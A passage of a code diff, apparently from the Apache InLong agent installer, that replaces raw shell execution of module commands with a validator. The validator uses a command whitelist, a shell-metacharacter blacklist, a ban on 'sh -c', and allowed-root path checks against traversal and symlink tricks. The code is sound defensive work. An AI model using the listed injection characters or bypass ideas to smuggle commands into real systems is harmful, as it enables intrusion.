ModuleCommandValidator(AllowedRootsResolver.build(conf)); if (!requiredKeys(conf)) { throw new RuntimeException("init module manager error, cannot find required key"); } @@ -485,16 +497,20 @@ private void restartModule(ModuleConfig localModule, ModuleConfig managerModule) } private void installModule(ModuleConfig module) { - LOGGER.info("install module {}({}) with cmd {}", module.getId(), module.getName(), module.getInstallCommand()); - String ret = ExcuteLinux.exeCmd(module.getInstallCommand()); - LOGGER.info("install module {}({}) return {} ", module.getId(), module.getName(), ret); + LOGGER.info("install module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getInstallCommand())); + runValidatedCommand(module, "install", module.getInstallCommand()); } private boolean startModule(ModuleConfig module) { - LOGGER.info("start module {}({}) with cmd {}", module.getId(), module.getName(), module.getStartCommand()); + LOGGER.info("start module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getStartCommand())); for (int i = 0; i < module.getProcessesNum(); i++) { - String ret = ExcuteLinux.exeCmd(module.getStartCommand()); - LOGGER.info("start module {}({}) proc[{}] return {} ", module.getId(), module.getName(), i, ret); + CommandExecResult ret = runValidatedCommand(module, "start[" + i + "]", module.getStartCommand()); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("start module {}({}) proc[{}] stdout={}", module.getId(), module.getName(), i, + truncate(ret.stdout)); + } } if (isProcessAllStarted(module, CHECK_PROCESS_TIMES)) { LOGGER.info("start module {}({}) success", module.getId(), module.getName()); @@ -506,27 +522,26 @@ private boolean startModule(ModuleConfig module) { } private void stopModule(ModuleConfig module) { - LOGGER.info("stop module {}({}) with cmd {}", module.getId(), module.getName(), module.getStopCommand()); - String ret = ExcuteLinux.exeCmd(module.getStopCommand()); - LOGGER.info("stop module {}({}) return {} ", module.getId(), module.getName(), ret); + LOGGER.info("stop module {}({}) with cmd {}", module.getId(), module.getName(), + sanitize(module.getStopCommand())); + runValidatedCommand(module, "stop", module.getStopCommand()); } private void uninstallModule(ModuleConfig module) { LOGGER.info("uninstall module {}({}) with cmd {}", module.getId(), module.getName(), - module.getUninstallCommand()); - String ret = ExcuteLinux.exeCmd(module.getUninstallCommand()); - LOGGER.info("uninstall module {}({}) return {} ", module.getId(), module.getName(), ret); + sanitize(module.getUninstallCommand())); + runValidatedCommand(module, "uninstall", module.getUninstallCommand()); } private boolean isProcessAllStarted(ModuleConfig module, int times) { for (int check = 0; check < times; check++) { AgentUtils.silenceSleepInSeconds(1); - String ret = ExcuteLinux.exeCmd(module.getCheckCommand()); - if (ret == null) { + CommandExecResult ret = runValidatedCommand(module, "check", module.getCheckCommand()); + if (!ret.success || ret.stdout == null) { LOGGER.error("[{}] get module {}({}) process num failed", check, module.getId(), module.getName()); continue; } - String[] processArray = ret.split("\n"); + String[] processArray = ret.stdout.split("\n"); int cnt = 0; for (int i = 0; i < processArray.length; i++) { if (processArray[i].length() > 0) { @@ -541,6 +556,114 @@ private boolean isProcessAllStarted(ModuleConfig module, int times) { return false; } + // ========================================================================= + // Unified execution path with validation applied to every command. + // ========================================================================= + + /** + * Result of a single command execution. {@link #success} is {@code true} when every + * sub-command exited with code 0; {@link #stdout} carries the stdout of the last + * sub-command. + */ + private static final class CommandExecResult { + + final boolean success; + final String stdout; + + CommandExecResult(boolean success, String stdout) { + this.success = success; + this.stdout = stdout; + } + } + + /** + * Validate a raw command from {@link ModuleConfig} through {@link ModuleCommandValidator} + * and, on success, execute the resulting sub-commands one by one. On rejection, timeout + * or non-zero exit, log the failure and return failure. This method never falls back to + * {@code sh -c}. + */ + private CommandExecResult runValidatedCommand(ModuleConfig module, String cmdName, String rawCmd) { + ValidationResult vr = commandValidator.validate(rawCmd); + if (!vr.isOk()) { + // Rejection path: log ERROR with module id/name, cmd name, rule name, offending + // sub-command and the original raw command. + LOGGER.error("REJECT command moduleId={} moduleName={} cmdName={} rule={} failedSub={} rawCmd={} msg={}", + module.getId(), module.getName(), cmdName, vr.getRuleName(), + sanitize(vr.getFailedSubCmd()), sanitize(rawCmd), vr.getMessage()); + return new CommandExecResult(false, null); + } + List parsed = vr.getParsed(); + String lastStdout = ""; + for (ParsedSubCmd sub : parsed) { + long startNs = System.nanoTime(); + String stdout; + if (sub.isPiped()) { + // Piped sub-command: chain multiple ProcessBuilder instances on the Java side + // via exePipedCmd. + stdout = ExecuteLinux.exePipedCmd(sub.getPipeline(), sub.getWorkDir(), + ExecuteLinux.DEFAULT_TIMEOUT_MS); + } else { + stdout = ExecuteLinux.exeCmd(java.util.Arrays.asList(sub.getArgv()), sub.getWorkDir(), + ExecuteLinux.DEFAULT_TIMEOUT_MS); + } + long costMs = (System.nanoTime() - startNs) / 1_000_000L; + + if (stdout == null) { + // Failure/timeout path: ERROR (stderr summary is already logged inside + // ExecuteLinux, truncated). + LOGGER.error("FAIL command moduleId={} moduleName={} cmdName={} sub={} costMs={} (stdout=null)", + module.getId(), module.getName(), cmdName, describeSub(sub), costMs); + if (!sub.isAllowFailure()) { + return new CommandExecResult(false, null); + } + } else { + // Success path: INFO with argv form and cost, DEBUG with a stdout summary. + LOGGER.info("OK command moduleId={} moduleName={} cmdName={} sub={} costMs={}", + module.getId(), module.getName(), cmdName, describeSub(sub), costMs); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("OK command moduleId={} cmdName={} stdout={}", + module.getId(), cmdName, truncate(stdout)); + } + lastStdout = stdout; + } + } + return new CommandExecResult(true, lastStdout); + } + + /** + * Format a parsed sub-command for logs, e.g. {@code [cmd, arg1, arg2] @ workDir}. + */ + private static String describeSub(ParsedSubCmd sub) { + List> readable = new ArrayList<>(sub.getPipeline().size()); + for (String[] seg : sub.getPipeline()) { + readable.add(java.util.Arrays.asList(seg)); + } + String pipelineStr = readable.size() == 1 ? readable.get(0).toString() : readable.toString(); + return sub.getWorkDir() == null + ? pipelineStr + : (pipelineStr + " @ " + sub.getWorkDir()); + } + + /** Truncate a stderr/stdout summary to 1KB so it does not swamp INFO logs. */ + private static String truncate(String s) { + if (s == null) { + return ""; + } + return s.length() <= 1024 ? s : (s.substring(0, 1024) + "...(truncated)"); + } + + /** + * Best-effort masking of {@code password=xxx} / {@code token: yyy} style values in log + * output. The current commands do not carry such tokens, but this keeps a defensive net + * in place for future changes. + */ + private static String sanitize(String s) { + if (s == null) { + return null; + } + return SENSITIVE_PATTERN.matcher(s).replaceAll("$1=***"); + } + private boolean downloadModule(ModuleConfig module) { LOGGER.info("download module {}({}) begin with url {}", module.getId(), module.getName(), module.getPackageConfig().getDownloadUrl()); diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java new file mode 100644 index 00000000000..8842f196a18 --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java @@ -0,0 +1,226 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import org.apache.inlong.agent.constant.AgentConstants; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.Set; + +/** + * Resolves the whitelist of root directories under which write-oriented commands + * (e.g. {@code rm/cp/mv/mkdir/ln/chmod/chown/tar/unzip}) are allowed to operate. Paths are + * compared with normalized {@link Path#startsWith(Path)}, which naturally rejects traversal + * attempts such as {@code ~/inlong/../../../etc}. + * + *

Default roots: {@code $user.home/inlong}, {@code $user.home/inlong-agent}, + * {@code agent.home} (from {@code -Dagent.home} JVM property or {@code installer.properties}), + * {@code $java.io.tmpdir}. Extra roots may be appended via the configuration key + * {@code installer.command.extraAllowedRoots} (comma separated). + */ +@Getter +public final class AllowedRootsResolver { + + /** Configuration key for extra allowed root directories (comma separated). */ + public static final String KEY_EXTRA_ALLOWED_ROOTS = "installer.command.extraAllowedRoots"; + + private static final Logger LOGGER = LoggerFactory.getLogger(AllowedRootsResolver.class); + + private static volatile AllowedRootsResolver instance; + + /** + * -- GETTER -- + * Return the immutable set of roots, mainly for logging and tests. + */ + private final Set roots; + + private AllowedRootsResolver(Set roots) { + this.roots = Collections.unmodifiableSet(roots); + } + + /** Build an instance from the given path set (normalized). Intended primarily for tests. */ + public static AllowedRootsResolver ofPaths(Path... paths) { + Set roots = new LinkedHashSet<>(); + if (paths != null) { + for (Path p : paths) { + addRoot(roots, p); + } + } + return new AllowedRootsResolver(roots); + } + + /** Return the default singleton, backed by {@link InstallerConfiguration}. */ + public static AllowedRootsResolver getDefault() { + if (instance == null) { + synchronized (AllowedRootsResolver.class) { + if (instance == null) { + instance = build(InstallerConfiguration.getInstallerConf()); + } + } + } + return instance; + } + + /** Build an instance from the given configuration. */ + public static AllowedRootsResolver build(InstallerConfiguration conf) { + Set roots = new LinkedHashSet<>(); + + String userHome = System.getProperty("user.home"); + if (StringUtils.isNotBlank(userHome)) { + addRoot(roots, Paths.get(userHome, "inlong")); + addRoot(roots, Paths.get(userHome, "inlong-agent")); + addRoot(roots, Paths.get(userHome, "tmp")); + } + + // agent.home resolution: -Dagent.home JVM system property first, then the same key + // from installer.properties as an override. + String agentHome = System.getProperty(AgentConstants.AGENT_HOME); + if (conf != null) { + String fromConf = conf.get(AgentConstants.AGENT_HOME, null); + if (StringUtils.isNotBlank(fromConf)) { + agentHome = fromConf; + } + } + if (StringUtils.isNotBlank(agentHome)) { + addRoot(roots, Paths.get(agentHome)); + } + + String tmpDir = System.getProperty("java.io.tmpdir"); + if (StringUtils.isNotBlank(tmpDir)) { + addRoot(roots, Paths.get(tmpDir)); + } + + if (conf != null) { + String extra = conf.get(KEY_EXTRA_ALLOWED_ROOTS, ""); + if (StringUtils.isNotBlank(extra)) { + for (String item : extra.split(",")) { + String trimmed = item == null ? "" : item.trim(); + if (StringUtils.isNotBlank(trimmed)) { + addRoot(roots, Paths.get(trimmed)); + } + } + } + } + + LOGGER.info("AllowedRootsResolver initialized with roots: {}", roots); + return new AllowedRootsResolver(roots); + } + + private static void addRoot(Set roots, Path p) { + if (p == null) { + return; + } + Path absolute = p.toAbsolutePath(); + try { + roots.add(absolute.toRealPath()); + } catch (IOException e) { + roots.add(absolute.normalize()); + } + } + + /** + * Test whether the given path lies under any allowed root (equal to a root also counts). + * Uses {@code Path#toRealPath()} when the path exists to defeat symlink-based bypass + * attempts. When the path does not exist yet (e.g. a {@code mkdir} target), it walks up + * to the nearest existing ancestor, resolves its real path, and splices the non-existent + * remainder back on before comparing. + * + * @param p a path; it is made absolute internally before the comparison. + */ + public boolean isUnderAllowedRoot(Path p) { + if (p == null) { + return false; + } + Path absolute = p.toAbsolutePath(); + + // Path exists → resolve symlinks directly. + try { + Path real = absolute.toRealPath(); + for (Path root : roots) { + if (real.startsWith(root)) { + return true; + } + } + return false; + } catch (IOException e) { + // Path does not exist yet (e.g. mkdir /new/dir). Walk up to the nearest + // existing ancestor, resolve its real path, and splice the remainder back. + } + + Path existingParent = findExistingParent(absolute); + if (existingParent == null) { + // No part of the path exists; resort to normalize() only. + Path normalized = absolute.normalize(); + for (Path root : roots) { + if (normalized.startsWith(root)) { + return true; + } + } + return false; + } + + try { + Path realParent = existingParent.toRealPath(); + Path remainder = existingParent.relativize(absolute); + Path resolved = realParent.resolve(remainder).normalize(); + for (Path root : roots) { + if (resolved.startsWith(root)) { + return true; + } + } + } catch (IOException ex) { + LOGGER.warn("Cannot resolve real path for existing parent: {}", existingParent, ex); + } + // Fall back to simple normalize in case the root set itself contains + // non-resolved paths (e.g. when a root directory did not exist at + // addRoot time and was stored via normalize() only). + Path normalized = absolute.normalize(); + for (Path root : roots) { + if (normalized.startsWith(root)) { + return true; + } + } + return false; + } + + /** + * Walk up the directory tree to find the nearest ancestor that actually exists. + * + * @param path an absolute path + * @return the first existing ancestor, or {@code null} if no part of the path exists + */ + private Path findExistingParent(Path path) { + Path current = path; + while (current != null && !Files.exists(current)) { + current = current.getParent(); + } + return current; + } + +} diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java new file mode 100644 index 00000000000..e754d0dbb62 --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java @@ -0,0 +1,166 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashSet; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; + +/** + * Resolves the effective command whitelist and write-like command sets by merging + * built-in baselines with deployer-supplied extras. + * + *

Extras are supplied via {@value #KEY_EXTRA_COMMAND_WHITELIST} and + * {@value #KEY_EXTRA_WRITE_LIKE_COMMANDS} (comma-separated). Entries containing + * whitespace, path separators, or shell metacharacters are dropped to prevent + * config-source injection. + * + *

Default singleton backed by {@link InstallerConfiguration}. + */ +@Getter +public final class CommandWhitelistResolver { + + /** Config key for extra argv[0] whitelist entries (comma-separated). */ + public static final String KEY_EXTRA_COMMAND_WHITELIST = "installer.command.extraCommandWhitelist"; + /** Config key for extra write-like commands subject to allowed-root checks. */ + public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = "installer.command.extraWriteLikeCommands"; + + /** Baseline argv[0] whitelist. */ + public static final Set BASELINE_COMMAND_WHITELIST = buildImmutableSet( + "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln", + "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java"); + + /** Baseline write-like commands whose path arguments trigger allowed-root checks. */ + public static final Set BASELINE_WRITE_LIKE_COMMANDS = buildImmutableSet( + "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip"); + + private static final Logger LOGGER = LoggerFactory.getLogger(CommandWhitelistResolver.class); + + /** + * Substring blacklist shared by command-level metacharacter scan and + * whitelist-entry validation. Includes glob wildcards ({@code *}, {@code ?}) + * because {@link ProcessBuilder} does not perform glob expansion. + */ + public static final String[] META_CHAR_BLACKLIST = { + "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", "?" + }; + + /** + * Superset of {@link #META_CHAR_BLACKLIST} used for whitelist-entry validation. + * Adds characters legal in a command string (path separators, delimiters consumed + * by the split layer, whitespace) but never legal in a bare command name. + */ + private static final String[] ENTRY_ILLEGAL_SUBSTRINGS = concat(META_CHAR_BLACKLIST, + " ", "\t", "/", ";", "|"); + + private static String[] concat(String[] a, String... b) { + String[] r = new String[a.length + b.length]; + System.arraycopy(a, 0, r, 0, a.length); + System.arraycopy(b, 0, r, a.length, b.length); + return r; + } + + private static volatile CommandWhitelistResolver instance; + + private final Set effectiveCommandWhitelist; + private final Set effectiveWriteLikeCommands; + + private CommandWhitelistResolver(Set argv0, Set writeLike) { + this.effectiveCommandWhitelist = Collections.unmodifiableSet(argv0); + this.effectiveWriteLikeCommands = Collections.unmodifiableSet(writeLike); + } + + /** Return the default singleton backed by {@link InstallerConfiguration}. */ + public static CommandWhitelistResolver getDefault() { + if (instance == null) { + synchronized (CommandWhitelistResolver.class) { + if (instance == null) { + instance = build(InstallerConfiguration.getInstallerConf()); + } + } + } + return instance; + } + + /** Build from configuration, merging baselines with extra entries from config. */ + public static CommandWhitelistResolver build(InstallerConfiguration conf) { + Set argv0 = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST); + Set writeLike = new LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS); + if (conf != null) { + argv0.addAll(parseConfigList(conf.get(KEY_EXTRA_COMMAND_WHITELIST, ""))); + for (String extra : parseConfigList(conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) { + writeLike.add(extra); + if (!argv0.contains(extra)) { + LOGGER.warn("'{}' listed in {} but not in argv[0] whitelist; " + + "write-like path check will not fire for it.", + extra, KEY_EXTRA_WRITE_LIKE_COMMANDS); + } + } + } + LOGGER.info("CommandWhitelistResolver initialized: argv0Whitelist={}, writeLikeCommands={}", + new TreeSet<>(argv0), new TreeSet<>(writeLike)); + return new CommandWhitelistResolver(argv0, writeLike); + } + + private static Set buildImmutableSet(String... items) { + Set s = new HashSet<>(items.length * 2); + Collections.addAll(s, items); + return Collections.unmodifiableSet(s); + } + + /** Split comma-separated config value, dropping blank and illegal entries. */ + public static List parseConfigList(String raw) { + List out = new ArrayList<>(); + if (StringUtils.isBlank(raw)) { + return out; + } + for (String item : raw.split(",")) { + String trimmed = item.trim(); + if (trimmed.isEmpty()) { + continue; + } + String reason = firstIllegalReason(trimmed); + if (reason != null) { + LOGGER.warn("Dropping illegal config entry '{}': {}", trimmed, reason); + continue; + } + out.add(trimmed); + } + return out; + } + + private static String firstIllegalReason(String entry) { + for (String s : ENTRY_ILLEGAL_SUBSTRINGS) { + if (entry.contains(s)) { + return "contains '" + s + "'"; + } + } + return null; + } +} diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java new file mode 100644 index 00000000000..b5a1d9077f2 --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java @@ -0,0 +1,507 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.File; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; + +/** + * Structured whitelist validator for raw command strings from {@code ModuleConfig}. + * Whistlists are resolved by {@link CommandWhitelistResolver}, allowed-root checks by + * {@link AllowedRootsResolver}. + */ +public final class ModuleCommandValidator { + + // -- metacharacter blacklist -- + + public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR"; + public static final String RULE_NOT_IN_WHITELIST = "NOT_IN_WHITELIST"; + public static final String RULE_PATH_NOT_UNDER_ALLOWED_ROOT = "PATH_NOT_UNDER_ALLOWED_ROOT"; + public static final String RULE_FORBIDDEN_SH_C_FLAG = "FORBIDDEN_SH_C_FLAG"; + public static final String RULE_EMPTY_COMMAND = "EMPTY_COMMAND"; + + private static final Logger LOGGER = LoggerFactory.getLogger(ModuleCommandValidator.class); + + private final AllowedRootsResolver allowedRootsResolver; + private final CommandWhitelistResolver whitelistResolver; + + /** Construct a validator using baseline whitelists only (no config extras). */ + public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) { + this.allowedRootsResolver = allowedRootsResolver; + this.whitelistResolver = CommandWhitelistResolver.build(null); + LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, writeLikeCommands={}", + new TreeSet<>(whitelistResolver.getEffectiveCommandWhitelist()), + new TreeSet<>(whitelistResolver.getEffectiveWriteLikeCommands())); + } + + /** Construct a validator with whitelists extended by the given configuration. */ + public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, InstallerConfiguration conf) { + this.allowedRootsResolver = allowedRootsResolver; + this.whitelistResolver = CommandWhitelistResolver.build(conf); + // init log already emitted by CommandWhitelistResolver.build() + } + + /** Effective argv[0] whitelist enforced at runtime. */ + public Set getEffectiveCommandWhitelist() { + return whitelistResolver.getEffectiveCommandWhitelist(); + } + + /** Effective write-like set that triggers allowed-root checks at runtime. */ + public Set getEffectiveWriteLikeCommands() { + return whitelistResolver.getEffectiveWriteLikeCommands(); + } + + /** Validate a raw command string. */ + public ValidationResult validate(String rawCmd) { + if (StringUtils.isBlank(rawCmd)) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, "raw command is blank"); + } + + // Scan the whole command for metacharacters first, so a hostile sub-command cannot + // bypass the check by hiding after ';'. + String metaHit = firstMetaCharHit(rawCmd); + if (metaHit != null) { + String reason = "hit meta char: " + metaHit; + if ("*".equals(metaHit) || "?".equals(metaHit)) { + reason = reason + " — glob wildcards are not supported (Agent runs commands" + + " without a shell, so '*' and '?' will NOT be expanded);" + + " please specify explicit file paths"; + } + return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, reason); + } + if (rawCmd.indexOf('\n') >= 0 || rawCmd.indexOf('\r') >= 0) { + return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, + "hit line-break char"); + } + + // Split by ';' into sub-commands, then by '|' into pipe segments, then tokenize each + // segment into argv. Both splitters honour single/double quotes so a ';' or '|' + // inside quotes is preserved as a literal character, matching how a POSIX shell + // parses the command line. + List subs = new ArrayList<>(); + List segments = splitTopLevel(rawCmd, ';'); + if (segments == null) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, + "unterminated quote in raw command"); + } + for (String seg : segments) { + String trimmed = seg == null ? "" : seg.trim(); + if (trimmed.isEmpty()) { + continue; + } + ParsedSubCmd sub = parseSubCmd(trimmed); + if (sub == null) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, trimmed, + "sub-command tokenized to empty"); + } + subs.add(sub); + } + if (subs.isEmpty()) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, + "no sub-command after split by ';'"); + } + + // run the argv[0] whitelist and the argument policy check. + for (ParsedSubCmd sub : subs) { + ValidationResult r = validateSubCmd(sub); + if (!r.isOk()) { + return r; + } + } + + // Absorb 'cd' sub-commands into the working directory of the following sub-command. + List parsed = extractCdAndBind(subs); + + return ValidationResult.ok(parsed); + } + + private ValidationResult validateSubCmd(ParsedSubCmd sub) { + for (String[] argv : sub.getPipeline()) { + if (argv == null || argv.length == 0) { + return ValidationResult.fail(RULE_EMPTY_COMMAND, sub.getRawSegment(), + "empty pipeline segment"); + } + String cmd = argv[0]; + + if (!whitelistResolver.getEffectiveCommandWhitelist().contains(cmd)) { + return ValidationResult.fail(RULE_NOT_IN_WHITELIST, sub.getRawSegment(), + "command '" + cmd + "' is not in whitelist"); + } + + ValidationResult r = validateArguments(argv, sub.getRawSegment()); + if (!r.isOk()) { + return r; + } + } + return ValidationResult.okPending(); + } + + private ValidationResult validateArguments(String[] argv, String rawSegment) { + String cmd = argv[0]; + + if ("sh".equals(cmd) || "bash".equals(cmd)) { + for (int i = 1; i < argv.length; i++) { + if (argv[i].startsWith("-c")) { + return ValidationResult.fail(RULE_FORBIDDEN_SH_C_FLAG, rawSegment, + cmd + " must not use -c to run inline scripts"); + } + } + String script = firstNonOptionArg(argv); + if (looksLikePath(script)) { + ValidationResult pathR = checkPathUnderRoot(script, rawSegment); + if (!pathR.isOk()) { + return pathR; + } + } + return ValidationResult.okPending(); + } + + if ("cd".equals(cmd)) { + if (argv.length < 2) { + return ValidationResult.okPending(); + } + return checkPathUnderRoot(argv[1], rawSegment); + } + + if (whitelistResolver.getEffectiveWriteLikeCommands().contains(cmd)) { + for (int i = 1; i < argv.length; i++) { + String arg = argv[i]; + if (arg.startsWith("-") || !looksLikePath(arg)) { + continue; + } + ValidationResult pathR = checkPathUnderRoot(arg, rawSegment); + if (!pathR.isOk()) { + return pathR; + } + } + } + + return ValidationResult.okPending(); + } + + private ValidationResult checkPathUnderRoot(String rawPath, String rawSegment) { + try { + String expanded = expandTilde(rawPath); + Path p = Paths.get(expanded).toAbsolutePath().normalize(); + if (!allowedRootsResolver.isUnderAllowedRoot(p)) { + return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment, + "path '" + rawPath + "' (normalized=" + p + ") is not under any allowed root: " + + allowedRootsResolver.getRoots()); + } + } catch (Exception e) { + return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, rawSegment, + "path '" + rawPath + "' cannot be normalized: " + e.getMessage()); + } + return ValidationResult.okPending(); + } + + /** Expand a leading {@code ~} on the Java side; {@link ProcessBuilder} does not. */ + public static String expandTilde(String path) { + if (path == null) { + return null; + } + String userHome = System.getProperty("user.home"); + if (StringUtils.isBlank(userHome)) { + return path; + } + if ("~".equals(path)) { + return userHome; + } + if (path.startsWith("~/")) { + return userHome + path.substring(1); + } + return path; + } + + /** + * Remove {@code cd DIR} sub-commands from the execution sequence and turn each of them + * into the {@link ParsedSubCmd#workDir} of the sub-commands that follow it. + * + *

Semantics: a {@code cd} affects every subsequent sub-command until the next + * {@code cd} is encountered, matching what a POSIX shell does with a single CWD per + * session. This means the following raw command runs {@code mkdir} and + * {@code tar} both inside {@code /opt/packages}: + * + *

{@code cd /opt/packages ; mkdir -p inlong-agent ; tar -xzvf pkg.tar.gz -C inlong-agent}
+ */ + public static List extractCdAndBind(List subs) { + List result = new ArrayList<>(subs.size()); + File currentWorkDir = null; + for (ParsedSubCmd sub : subs) { + String[] argv = sub.getPipeline().get(0); + if (argv.length >= 1 && "cd".equals(argv[0])) { + if (argv.length >= 2) { + String expanded = expandTilde(argv[1]); + currentWorkDir = Paths.get(expanded).toAbsolutePath().normalize().toFile(); + } + continue; + } + if (currentWorkDir != null) { + sub.setWorkDir(currentWorkDir); + } + result.add(sub); + } + return result; + } + + private static ParsedSubCmd parseSubCmd(String segment) { + List pipeSegs = splitTopLevel(segment, '|'); + if (pipeSegs == null) { + // unterminated quote within a sub-command; caller treats null as empty/invalid. + return null; + } + List pipeline = new ArrayList<>(pipeSegs.size()); + for (String pipeSeg : pipeSegs) { + String trimmed = pipeSeg == null ? "" : pipeSeg.trim(); + if (trimmed.isEmpty()) { + return null; + } + String[] argv = tokenize(trimmed); + if (argv.length == 0) { + return null; + } + pipeline.add(argv); + } + boolean piped = pipeline.size() > 1; + return new ParsedSubCmd(pipeline, segment, piped); + } + + /** + * Quote-aware split of {@code raw} on the top-level {@code delim} character. Characters + * inside a single-quoted or double-quoted region are treated as literals and do not + * split the string. Returns {@code null} when the input has an unterminated quote so + * that the caller can surface a validation error rather than silently mis-parse. + * + *

Unlike {@link String#split(String)}, an empty leading, middle or trailing region is + * preserved in the result so that callers can decide how to handle it. + */ + static List splitTopLevel(String raw, char delim) { + List out = new ArrayList<>(); + if (raw == null) { + out.add(""); + return out; + } + StringBuilder cur = new StringBuilder(); + char quote = 0; + for (int i = 0; i < raw.length(); i++) { + char c = raw.charAt(i); + if (quote != 0) { + cur.append(c); + if (c == quote) { + quote = 0; + } + continue; + } + if (c == '\'' || c == '"') { + quote = c; + cur.append(c); + continue; + } + if (c == delim) { + out.add(cur.toString()); + cur.setLength(0); + continue; + } + cur.append(c); + } + if (quote != 0) { + return null; + } + out.add(cur.toString()); + return out; + } + + /** + * Whitespace-based tokenizer that honours single/double quotes so that quoted spaces are + * preserved. The metacharacter layer has already rejected backticks, {@code $(} and + * friends, so no further shell-style escaping is needed here. + */ + private static String[] tokenize(String s) { + List tokens = new ArrayList<>(); + StringBuilder cur = new StringBuilder(); + char quote = 0; + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (quote != 0) { + if (c == quote) { + quote = 0; + } else { + cur.append(c); + } + continue; + } + if (c == '\'' || c == '"') { + quote = c; + continue; + } + if (Character.isWhitespace(c)) { + if (cur.length() > 0) { + tokens.add(cur.toString()); + cur.setLength(0); + } + continue; + } + cur.append(c); + } + if (cur.length() > 0) { + tokens.add(cur.toString()); + } + return tokens.toArray(new String[0]); + } + + private static String firstMetaCharHit(String raw) { + for (String meta : CommandWhitelistResolver.META_CHAR_BLACKLIST) { + if (raw.contains(meta)) { + return meta; + } + } + return null; + } + + private static String firstNonOptionArg(String[] argv) { + for (int i = 1; i < argv.length; i++) { + if (!argv[i].startsWith("-")) { + return argv[i]; + } + } + return null; + } + + /** {@code true} when the argument looks like a path 